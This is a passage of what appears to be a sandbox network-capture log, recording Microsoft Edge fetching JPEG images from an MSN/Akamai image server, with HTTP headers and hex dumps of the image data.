2024-11-20 17:57:56 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKEt Last-Modified: Tue, 05 Nov 2024 17:09:52 GMT X-Source-Length: 81045 X-Datacenter: eastus X-ActivityId: ea3a2dad-40e6-41b3-bc97-3502537eb6d1 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 81045 Cache-Control: public, max-age=299470 Expires: Sun, 24 Nov 2024 05:09:06 GMT Date: Wed, 20 Nov 2024 17:57:56 GMT Connection: close
2024-11-20 17:57:56 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 17:57:56 UTC	16384	IN	Data Raw: 89 9c af b9 a8 a7 a5 f3 2e 9a fb 0d 56 09 b8 ab 0b 98 80 82 a0 bb 74 b5 86 35 f1 f6 ac f1 dd 09 6e 80 0f f7 fe eb 70 4f ac 31 73 95 c2 e1 6f b9 f8 a4 92 49 e4 ba 98 a1 49 8c a1 6d d0 b6 db 6c 33 05 58 2f 69 da bc e3 f8 9c 37 43 41 f4 4a d9 e2 48 3a ac 7b 79 4f 12 dd 57 09 fc c4 ed 13 03 72 83 ca a0 14 11 97 b4 af 39 7b 8e 71 b8 d1 3e a9 5d 9f 88 11 32 6a 34 5a d3 9c 27 15 a3 6c 34 43 71 1e 8d e5 55 23 bc 01 98 1a 98 8e c5 83 c4 18 d5 40 db e5 d7 5e d8 c5 dd 69 8d d2 b7 11 9a 5c ae 97 02 2a 4c e8 dd b1 db d2 a1 77 10 62 a6 8c 69 02 33 5a 6b df ab 6c 01 fb a7 f4 5c ce 3a eb c0 0d 7b 43 4f ac 21 58 bb af de 0e 2e b7 07 70 bb 0b a0 12 d2 0c cc 50 65 b3 c5 5a bf c6 5d b8 dc 21 ce 21 c5 ed 13 b0 bc 18 e7 50 bc d7 05 74 49 06 26 20 4e b5 3a 0d b3 9a f4 8c e1 9a Data Ascii: .Vt5npO1soIIml3X/i7CAJH:{yOWr9{q>]2j4Z'l4CqU#@^i\*Lwbi3Zkl\:{CO!X.pPeZ]!!PtI& N:
2024-11-20 17:57:56 UTC	1980	IN	Data Raw: 96 4f 13 96 95 e5 52 af b6 5b a7 e7 5d 3b 44 eb 4d 39 20 97 61 d4 9a d0 69 d9 0b 90 78 87 6a 68 3c 64 c7 2a 24 7c e7 cd 1d ca 9a ef 85 ad 1d d0 96 ed 0e 0a ff 00 a4 00 fd f6 fe 89 7c 1d f9 f5 7c 7c c6 7d 65 7a 11 84 6c ec fa ac 97 b4 6c 5a b9 e4 e5 a2 1c 31 c1 bf ee cf ff 00 51 bf 52 b3 f0 4f fe 19 dd e6 37 ea bb 07 88 60 50 7c 58 8f 7f 62 b7 cd 74 e2 e2 be d7 94 e0 d7 5b 22 76 dc fa 02 96 11 86 70 82 34 a5 c9 3d 80 4a bf 72 ed a7 ba 5c c0 e2 34 38 4c a8 0f 10 d6 e8 de c1 1e c4 d7 1f 37 f7 62 71 85 30 d2 66 2c bb c4 94 06 5d 90 05 a0 d1 99 2e f6 47 d1 59 f3 9c fd 26 bb 4c 74 15 5a 6f bb 56 b5 a7 2d 5d d0 3d a9 ab b9 2a 13 1b 43 57 dc 0d db a7 b5 46 47 0e 28 03 de 6b 5e ef e8 a2 b9 e6 01 50 1c 77 86 8e d3 2a b1 b9 74 7f 0d 83 28 2e 77 40 01 58 b9 eb da 52 Data Ascii: OR[];DM9 aixjh<d$\|\|\|\|}ezllZ1QRO7`P\|Xbt["vp4=Jr\48L7bq0f,].GY&LtZoV-]=CWFG(k^Pw*t(.w@XR
2024-11-20 17:57:56 UTC	16384	IN	Data Raw: 4a 5b a9 f1 01 c3 50 72 8d 9b 96 b1 34 ec 07 92 e3 79 17 27 ba eb 67 f7 a3 a5 64 b2 fd bd 58 7c 2b d0 ae 8c 7a 65 05 bb 78 87 3d df 53 b1 4b 33 53 1e fa ca f3 e6 eb 9b ab 5d a4 d4 14 c7 13 0a 7b 73 d1 6d e8 21 a6 27 4e 5a ef e5 54 88 60 db ef 9a e3 8e 21 a7 35 2b 6e 4d 31 53 9a cf b7 30 5b a3 de 13 cb 66 70 b1 de ec f7 95 10 ba dc c8 8e c9 ec 52 48 3a 57 b3 45 9a 52 11 b6 0e d1 9e e5 bc 51 4e 9e 85 09 6b 8e 91 49 df ce 25 60 b5 cc 00 c1 3e c4 a8 91 61 d7 41 a1 cb 7a 0d c6 9f 7d 55 5c 7b 67 b3 df 55 b0 eb 44 e9 14 ec 57 4d 6f 13 48 1c cc 66 36 e5 bd 01 83 6f 87 b5 46 30 cc 87 50 f6 f8 e6 16 1c 09 3a f2 1f 4f 62 78 89 f0 b7 53 ae c4 7a ba d7 64 6c 55 bb e3 4a e4 56 3c e7 8a 7f 65 ad 32 2e 02 ec 8b 4c e7 3d 4b 5e 19 78 8e b5 4b 11 8a 81 03 97 64 23 16 71 2a Data Ascii: J[Pr4y'gdX\|+zex=SK3S]{sm!'NZT`!5+nM1S0[fpRH:WERQNkI%`>aAz}U\{gUDWMoHf6oF0P:ObxSzdlUJV<e2.L=K^xKd#q*
2024-11-20 17:57:56 UTC	16384	IN	Data Raw: 13 86 72 ab 8f 5a 94 59 7c fa 46 77 ac fc 33 b5 24 d3 61 1d 6b 37 fd 4b 4c 79 4c 89 0d b6 3c 11 e5 b4 7d d1 b8 6d 52 7c 39 06 9d a4 c0 cb 42 b3 83 49 2d cf 42 97 cd 69 ac 1b 6e 0a 67 08 86 bb d3 74 6e 15 dc a3 87 64 01 9d 2b 9f 34 c5 a7 98 9f 4a 7c 0e ca f4 ab e2 37 f8 62 64 bf b5 61 cf b6 2a 03 8f 6a 3c 83 4e f4 4d 0e 9f 54 fc 98 ae 21 9d 29 d3 29 15 bc a4 45 d6 e2 ad 3b d6 26 d1 1f cb 98 d3 df 35 30 60 93 b0 73 18 b2 3e f9 a3 cb 15 20 d4 6e d1 6b 87 33 8a 29 b6 2b e5 c4 88 f7 0b 05 cc 74 82 cd 9d 0b 78 5b 14 2e cf bd 1e ae 9a 02 b2 6d b1 d5 1b 39 e7 d0 b5 c3 9a 20 c4 c3 e8 44 54 46 a5 62 6d 9a e1 39 cd 3c 63 c1 5a 2d b0 75 3a ec 04 09 d9 4d 79 a5 e5 b5 cd ee bc 30 d3 5a 81 ef da b5 71 cc a5 62 5b ae be f9 2c 62 69 14 91 e1 b4 e8 ad 79 2d 02 43 e6 b5 d8 Data Ascii: rZY\|Fw3$ak7KLyL<}mR\|9BI-Bingtnd+4J\|7bda*j<NMT!))E;&50`s> nk3)+tx[.m9 DTFbm9<cZ-u:My0Zqb[,biy-C
2024-11-20 17:57:57 UTC	7952	IN	Data Raw: 10 46 10 60 f6 69 d9 9a 89 d7 3d 58 70 ca bb 13 45 96 b0 78 9c 36 8c 98 a8 f7 f0 45 8b 8d 69 3e 61 06 22 9b 7f b9 5c 6e 31 ec 36 da e9 99 1b 36 99 c9 43 6d 85 d7 58 e3 8a 0b 43 9d 5a 6e ec 92 bd 5e dc 69 bd 97 6c 5b d4 be e1 c5 e5 b7 43 19 69 fa 2e 65 e0 f6 4b dd b0 b7 79 cb c1 5a c7 6e db 66 6b 4a ef 51 7c 4c 89 b9 1d ea b5 bf 96 62 7c 35 5c 71 89 8d 91 c1 a5 92 1f 66 dc 6a 60 0a 66 ac 07 b8 34 8d 31 4d 3d aa 83 6f b8 dc c2 01 76 b0 7c 27 ea 8f 31 f2 5f 84 99 6c 37 90 23 67 5c a9 38 ef a6 96 cd d7 39 a4 8a 89 81 ce 73 8d f9 2a ad bc e6 e3 17 08 d8 08 39 fe aa a0 f3 b0 9c 0d 33 6d a2 48 cc f2 52 8e 18 de 87 ba 5a 30 41 04 c1 99 a2 d6 9c 63 6d 7e e8 d8 69 37 5b 85 dd d0 1b e2 1a 63 eb 45 7c 96 5a 70 b9 a1 0d 80 39 1e 55 47 c3 61 21 a1 d0 d8 d7 c0 0a 78 ad Data Ascii: F`i=XpEx6Ei>a"\n166CmXCZn^il[Ci.eKyZnfkJQ\|Lb\|5\qfj`f41M=ov\|'1_l7#g\89s*93mHRZ0Acm~i7[cE\|Zp9UGa!x
2024-11-20 17:57:57 UTC	6096	IN	Data Raw: 8c 30 d7 61 ef 50 96 e6 29 e8 f6 90 a2 c6 04 81 15 30 39 c0 a8 f1 01 66 dd e0 1c e7 ec 2f 70 11 93 b0 e5 db d8 b7 3c 5c e2 78 ba 20 01 ab 62 20 ef 5a b8 c7 38 b6 1d 85 a0 cb 84 6b 43 d2 aa 8b 8e 7e 16 b8 6a 26 99 57 da 15 13 78 f9 9e 50 26 5b 04 93 a1 3b 17 2d 33 3e 0e 96 b3 76 e1 b3 59 9a 9f 0a 40 a2 f3 f8 9c 4d b6 b8 90 d7 b8 77 b6 90 67 a5 77 f0 f9 8e a9 ee fa a0 6d 24 d4 f8 2d ba dd 97 06 b5 d5 f2 c7 69 d3 b5 75 8c a3 1d b1 7d cc 4c 5a 97 93 75 e2 a4 c1 33 a6 a4 56 7a 95 9c 45 86 e1 91 18 80 07 5c b5 ed 2a f3 6f 07 0c 3f 7b 40 ab 06 9c 38 35 ae 23 3f 5d eb 95 cc ed 83 4e c1 e5 1b 40 99 92 e1 b7 d5 90 07 52 cf 90 d3 6d b0 e9 d3 a6 68 79 2d 8b 6e 76 2c 6e 22 64 46 ed 08 52 5b 61 b2 18 0e 42 32 d9 f5 56 eb ab a1 36 cd a7 06 cc ba 20 49 3a 18 59 16 86 b1 Data Ascii: 0aP)09f/p<\x b Z8kC~j&WxP&[;-3>vY@Mwgwm$-iu}LZu3VzE\*o?{@85#?]N@Rmhy-nv,n"dFR[aB2V6 I:Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49920	104.117.182.18	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:56 UTC	634	OUT	GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:56 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 30 Oct 2024 15:00:48 GMT X-Datacenter: westus X-ActivityId: f56ff185-3ad6-4311-95ad-194a52089168 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MSkH X-Source-Length: 293132 Content-Length: 293132 Cache-Control: public, max-age=162328 Expires: Fri, 22 Nov 2024 15:03:24 GMT Date: Wed, 20 Nov 2024 17:57:56 GMT Connection: close
2024-11-20 17:57:56 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 17:57:56 UTC	16384	IN	Data Raw: fc ab 26 f3 f4 a4 69 4b 80 a9 51 5a 4f 81 92 a4 15 1c 64 7d ab 6e 64 d8 52 68 23 71 f5 15 95 c1 a5 6c d6 0d c7 19 0c cb 00 29 58 04 82 35 33 6f bf c6 a4 c9 53 0d 28 d5 e7 36 f7 b3 66 24 b0 65 a0 d5 79 4e ca ac 0f f1 d4 47 cb 27 f5 fd 6a 7a 64 0a 7e 6f 0a c2 9a a7 6d e7 ad 1a 5c 2f a1 9e af 90 8e 0d 8d b6 e8 ac fb cb a0 b9 ac ea 87 5d ba fd ce bd 01 0f a7 ae 06 37 22 e1 10 a4 30 d4 93 f3 4f 21 48 80 38 fc 28 75 72 76 ef a5 6d ea 1e 9b ba 19 bc 25 c0 8f 07 8c e5 84 72 a6 d5 c0 fe 2b 1f da 40 8f 88 a5 51 48 1e 97 fd 46 12 c0 e2 2c 18 15 d4 1a 6d 1f 12 4f 44 b6 d8 01 a4 89 e7 02 3e 14 d2 aa 76 09 c6 6e be a4 b3 9e b4 3d d0 d1 69 6d 6c 6f 23 67 65 55 2a a2 57 7d ec 40 06 c6 fa 4f 08 d6 a3 c9 26 ff 00 5a 04 54 35 39 5b 79 d3 d7 fc fe 46 e6 ab a0 ea d8 23 a1 c3 Data Ascii: &iKQZOd}ndRh#ql)X53oS(6f$eyNG'jzd~om\/]7"0O!H8(urvm%r+@QHF,mOD>vn=imlo#geU*W}@O&ZT59[yF#
2024-11-20 17:57:56 UTC	2325	IN	Data Raw: 42 72 ea 3e ae cb 15 1b 59 a2 21 51 37 96 31 36 31 f1 fe 95 49 94 2a a9 53 25 38 95 b3 73 02 f7 8f 8d 73 b6 95 52 ea 44 d3 b8 f5 06 f3 b8 f4 b3 e4 41 7b 7c b7 b4 de 20 5f f4 b9 f2 a6 f1 e6 ca ac a5 48 95 ea 55 e0 a3 fd dc c4 f0 34 06 d2 79 c6 37 1f b9 08 ce 32 53 dd 57 90 7e 07 e3 90 59 71 36 d4 05 76 c0 81 a8 13 73 79 13 27 5f 4a 79 99 0e 41 93 31 f7 42 11 20 23 00 b7 9d b0 63 a4 dc 6b 42 8a 8c a4 e9 e7 cf f4 11 5a 8d 46 2a 2f cb 56 fc b6 af 20 f4 fe 3a 04 4c 98 71 e3 21 0a 64 b8 b3 02 a7 a7 9f a8 a6 bb ef 64 c3 63 d8 24 4c 20 8d 49 b7 97 9d 69 d1 e4 5f f5 f5 e6 db c7 52 68 e3 23 a6 0b b4 c0 3b 8c 8c 90 5b e6 8d b0 09 81 3a 9d 05 a8 28 71 a0 05 99 8d e0 85 24 12 0e b7 fa 89 f8 53 d6 99 2a e4 77 37 a9 f0 48 c5 6a 26 a4 9e 7e 45 69 84 88 96 53 d4 66 d3 1e Data Ascii: Br>Y!Q7161IS%8ssRDA{\| _HU4y72SW~Yq6vsy'_JyA1B #ckBZF/V :Lq!ddc$L Ii_Rh#;[:(q$S*w7Hj&~EiSf
2024-11-20 17:57:56 UTC	16384	IN	Data Raw: f5 70 83 23 89 b1 bd 4f ee 77 b6 41 db bb 97 52 61 a0 41 9d 63 97 a4 7e b4 1e 58 eb 8b a2 a7 82 71 82 5e 05 68 0e a7 6e 46 76 00 dc 02 4d f5 1c 08 b4 53 5d b3 10 d9 31 62 3b 91 34 7f 95 c1 1c 35 21 88 1c 44 69 44 97 e4 2b d9 bf e8 77 2c a3 be e6 4c f8 f7 3e 22 84 a3 29 50 26 e0 6a a4 9f eb 4c b3 3a c3 cf b8 a4 30 26 c4 18 d0 89 d4 6b 48 92 4f 9d ce 5d 38 2e 45 67 39 db ad d2 47 49 02 48 f8 19 a6 56 06 52 09 80 ac 61 74 b1 1b b8 1e 24 fa 51 9e e2 ec 2b 3b 20 bb b9 8c 56 81 be 24 c5 86 86 fe 35 4f b9 0b b2 4f 23 62 7c 3e f1 4d 11 22 71 c4 95 54 65 75 de 72 0b 41 8e a5 dc 3c 62 60 fa 57 bd b2 ae d7 1b 60 ed b4 9f a5 fc 68 a4 60 db a1 99 2b b8 60 32 1d 84 15 1b 63 c6 39 f0 99 e3 44 7c 4c c8 84 0d 37 6e 1c 24 1a a7 11 64 bc 33 eb 04 9f f7 5e 2b e5 d2 6c 7a 87 Data Ascii: p#OwARaAc~Xq^hnFvMS]1b;45!DiD+w,L>")P&jL:0&kHO]8.Eg9GIHVRat$Q+; V$5OO#b\|>M"qTeurA<b`W`h`+`2c9D\|L7n$d3^+lz
2024-11-20 17:57:57 UTC	16384	IN	Data Raw: c6 dc e8 d0 e4 58 ac f3 83 a1 ca cf b1 d1 8a 6d 21 fe e6 19 77 5f 94 1f 5d 6b 19 11 54 18 d2 07 1f a5 6c 07 18 d1 a9 93 4a 44 65 10 cc 42 92 01 03 49 b9 d3 9d 60 b1 56 30 62 87 dd bc 51 7b 8a ea ef d8 cf 3d 86 91 b5 01 46 ed db 49 3f 6f 10 60 50 36 31 2d 69 22 f7 92 7e f1 40 d4 ee b9 5b 91 b5 4b 26 7b f7 f0 56 38 73 29 27 71 7f 52 4c 7f 4a 11 c6 c0 c9 f2 1a 58 e9 5c be ad 97 e6 27 0b 81 16 7f 82 cb 1b 0c 6e 05 6f e5 11 7f 3f ca 95 d9 b1 77 0b 5f 4d 47 c0 7e b6 a1 b8 e5 d9 a1 4b 67 93 ab 92 ab 7c e4 61 61 55 98 89 20 e8 67 4a f3 b7 0a db c3 74 90 35 b4 7c 6a c5 e0 46 aa 9a cf ea 32 fa 97 22 e9 ac a3 c7 ce 5a 36 af af 0f f5 a2 fb 9b 74 44 32 23 79 04 7d 01 8a 69 fd 58 e8 01 aa c5 bf 41 2a 9f 23 71 81 36 c9 b7 42 75 d6 37 44 f0 e1 4c e5 54 22 d3 f2 8d 7d 2e Data Ascii: Xm!w_]kTlJDeBI`V0bQ{=FI?o`P61-i"~@[K&{V8s)'qRLJX\'no?w_MG~Kg\|aaU gJt5\|jF2"Z6tD2#y}iXA*#q6Bu7DLT"}.
2024-11-20 17:57:57 UTC	7952	IN	Data Raw: 1a be 53 33 ac 78 28 66 cb ef 38 44 0b 22 43 38 86 58 1f db 6e a3 16 be a6 97 4c a0 b4 13 ec 82 02 9d ab 68 1e 15 9a 31 6b ea 93 74 eb 4c 78 77 e7 dc d0 d5 66 93 7b 1b 39 6b f4 00 bb 99 c8 4e f8 28 44 3b f2 64 72 22 5c db 6f 0d a0 68 3c 2d 1c ab 19 65 f3 e2 0b d6 16 22 d1 31 7f 31 e2 69 3b 2d b9 3c 25 15 b2 e6 fc 8c a4 a3 09 49 fd 3f 95 9a af 53 cb 26 ac 59 40 e2 ed 9d 71 e2 76 23 6a 6b d2 00 31 a0 e3 7f a9 e3 51 33 b6 47 72 5f 59 d3 82 f8 01 c2 ae b7 76 ad fb 05 8c d4 95 dd a0 ff 00 4c 9f 3b 6f c1 89 cd c9 db 19 ee 7b 5f f1 d5 08 70 db 80 24 7f 6c f0 27 43 6b da a5 99 9a e8 cb 50 44 6a 94 34 a5 93 36 ab 3a 4c 5d d8 4e dc a9 c8 ac 49 58 94 dd 0a 0b 12 a6 63 53 7e 33 c6 95 1b 19 31 63 29 a8 d5 57 a9 8f 85 c4 f2 9f 85 64 94 5b ba 8b f8 d7 ba 7e 84 b9 dc 9f Data Ascii: S3x(f8D"C8XnLh1ktLxwf{9kN(D;dr"\oh<-e"11i;-<%I?S&Y@qv#jk1Q3Gr_YvL;o{_p$l'CkPDj46:L]NIXcS~31c)Wd[~
2024-11-20 17:57:57 UTC	16384	IN	Data Raw: fa 81 a4 74 fe ee 0f 71 53 03 14 c6 d8 c8 3b 6c db 94 92 09 26 0e e6 d3 85 73 61 bb 74 ca a0 ae 46 00 c3 03 1f 48 37 af 3d a9 7e e9 2b 69 e2 f3 87 fc 1b f4 f7 1c 5e 62 9e cd 5f e6 6a 96 86 fe 9e 2b e6 65 28 e4 ee 16 54 14 38 c4 db a6 6d ad da 49 3c 09 3a d3 e3 32 12 83 68 18 d5 80 db 00 5d bc 22 4f 8d c7 ad 01 76 f0 dd ea f1 66 58 c2 59 6d dc 9a e6 f6 41 70 25 9c de 56 5c a0 86 31 37 90 4b 02 c3 43 16 23 ef 6a ad de 0e db 1a b2 a2 db 76 ad c4 af 01 03 8e 82 2d 1c 6b d2 8d c5 a6 b6 db 8c 74 01 da d5 27 97 b1 dc f2 36 0e 53 26 25 58 50 d2 c3 52 34 f2 35 e0 82 dc bd 2b d3 8c 9b ce c7 56 04 14 68 e3 6c ea 85 14 48 07 79 d0 4c da 4e 92 78 56 71 fc ff 00 86 e4 7f da 07 96 b1 42 d4 bb 6d db e7 8d ce 92 c7 d4 97 b0 c2 65 0e 76 e8 72 2b 60 db 2d 3b 92 f1 04 6a 3c Data Ascii: tqS;l&satFH7=~+i^b_j+e(T8mI<:2h]"OvfXYmAp%V\17KC#jv-kt'6S&%XPR45+VhlHyLNxVqBmevr+`-;j<
2024-11-20 17:57:57 UTC	16384	IN	Data Raw: 12 d2 0f 23 5c df ed 9d c6 7c fd ca 7b b2 57 db ca 36 b3 8b 10 aa 0b 40 bd c5 ae 3d 28 55 49 96 5c 7c 0d 5b 82 86 19 cf 77 b9 72 9c 86 41 50 49 7d a0 9d 92 78 c5 cc 11 57 bf 75 ed b2 6f 5b 08 2d b7 a6 22 5a 36 a4 fa 68 79 51 05 89 1b b1 e4 b7 39 52 08 20 34 6e 59 0d 7b 19 e1 cb 4a eb fb 0f db bb 83 bb dc 8c 71 b8 aa 95 5e a0 d6 2c a5 81 98 8e 1f 6d 50 6d 99 f8 08 95 9c 94 39 da 2f 17 23 5e 93 cf 95 77 3d c6 10 72 1c 49 8d d1 31 0b 2a 86 66 76 37 be d8 13 bb 6c dd 87 95 16 c4 be b5 90 61 1c 3e af 00 7b 54 c3 db f6 ed d4 ab 99 f6 06 07 6b 6d 59 1d 44 1f 94 cd c0 e7 45 c3 80 f7 29 8f 17 b6 a5 f7 b3 3a 91 04 ec 6d 64 f2 22 fb a2 66 2a f2 fc 64 66 eb f2 1a b0 3b e0 7b ba 67 6e c3 3c a9 ba 00 05 88 86 33 32 46 f9 02 e2 6c 2b df dc 91 97 b4 18 82 e5 f7 72 1d 4c Data Ascii: #\\|{W6@=(UI\\|[wrAPI}xWuo[-"Z6hyQ9R 4nY{Jq^,mPm9/#^w=rI1fv7la>{TkmYDE):md"fdf;{gn<32Fl+rL
2024-11-20 17:57:57 UTC	7952	IN	Data Raw: 04 dc 37 ed 5d c0 72 00 c1 e5 6f 5a a3 dd f7 45 59 15 a3 64 58 6c 20 c1 5f 18 3e 9c 22 89 49 2f 50 4d 39 2a 5e 0b 24 96 cc 79 4b 6e a4 1c 39 b7 e5 41 71 d5 c7 85 53 ec dd 5b 3e 31 ed a0 05 84 9e 22 7e 83 c8 5e b5 28 d3 40 63 16 9a b6 c0 c2 57 24 3c 2e f8 28 13 6c 81 81 82 7a 0a e9 3e d9 04 fe 93 46 74 5c 23 6e e3 3d 65 64 48 80 00 83 e2 60 d6 f6 0e ec 3e ec 6a 39 fc ea 5d a4 c3 fe 1c 82 4e dd a2 62 6d ac 70 af 90 9c 59 37 00 4c 6e 8f 8e a0 c4 7c 68 13 95 56 6b ea ae 2e ff 00 82 77 a3 ae 35 75 93 37 77 61 a4 8d a6 5c 63 18 1d 0a ca a4 49 e2 dc 8a 91 a7 32 66 92 28 32 f5 1d a8 41 e0 0b 03 27 59 13 79 b7 8d 65 9a 7a 9f ee 6b 1f 85 e4 7b 7d bc 2b 9f ab 4a be 3b 19 65 2b f8 15 af 89 4f f6 fd a7 b8 41 63 79 dc 27 58 e1 e7 5b c4 53 b7 71 b4 b3 1d ca 49 d1 67 5d Data Ascii: 7]roZEYdXl _>"I/PM9*^$yKn9AqS[>1"~^(@cW$<.(lz>Ft\#n=edH`>j9]NbmpY7Ln\|hVk.w5u7wa\cI2f(2A'Yyezk{}+J;e+OAcy'X[SqIg]
2024-11-20 17:57:57 UTC	15060	IN	Data Raw: 38 02 68 6e 66 69 55 2c 25 6d 07 e3 84 2a a8 e1 2b 63 f1 b0 d6 39 60 40 62 aa 38 0b 5f 99 d2 a4 e4 cb 00 01 c4 f1 fc a8 2d 75 ab 2e 96 de 7e 45 b9 71 7f 00 5f 55 e5 fc 0a 98 9f 1a 23 17 81 92 66 4b 78 f8 19 a9 59 ac a1 45 a4 dc c0 d2 a5 05 e0 22 42 f1 82 b2 77 09 ee 0e ad df c5 76 83 f5 27 87 de 6a 2e 37 0a e0 c9 b9 82 4f af 0e 54 94 46 db 0a b0 67 b6 f6 28 be 4d 8c 58 00 7a b4 3a 79 d0 cb 24 90 d3 af 3f d6 a7 38 07 25 2b c5 07 ba 03 2d 43 50 fd c9 04 ce 42 20 6e 98 0b e0 a3 4f 85 64 f7 2b 8b a5 45 b4 03 49 1e 97 8a ea e9 84 05 76 e5 6e dd fe 43 b7 a8 02 83 ea 7b 95 15 09 12 58 6e 31 04 c1 e5 e9 e3 14 12 37 c3 78 90 42 e8 a4 5e 27 d2 92 53 b7 4a 9f 56 c2 68 c8 9d c9 53 d2 96 7a 8c e0 db bb c0 56 67 62 49 3d 13 d4 04 0b 2d b8 f8 c1 8a 59 b2 38 2c ac 05 ae Data Ascii: 8hnfiU,%m*+c9`@b8_-u.~Eq_U#fKxYE"Bwv'j.7OTFg(MXz:y$?8%+-CPB nOd+EIvnC{Xn17xB^'SJVhSzVgbI=-Y8,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49921	104.117.182.18	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:56 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:56 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A Last-Modified: Sun, 20 Oct 2024 23:49:33 GMT X-Source-Length: 114962 X-Datacenter: eastus X-ActivityId: f9c97283-f306-495f-9b12-cae296533644 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 114962 Cache-Control: public, max-age=107646 Expires: Thu, 21 Nov 2024 23:52:02 GMT Date: Wed, 20 Nov 2024 17:57:56 GMT Connection: close
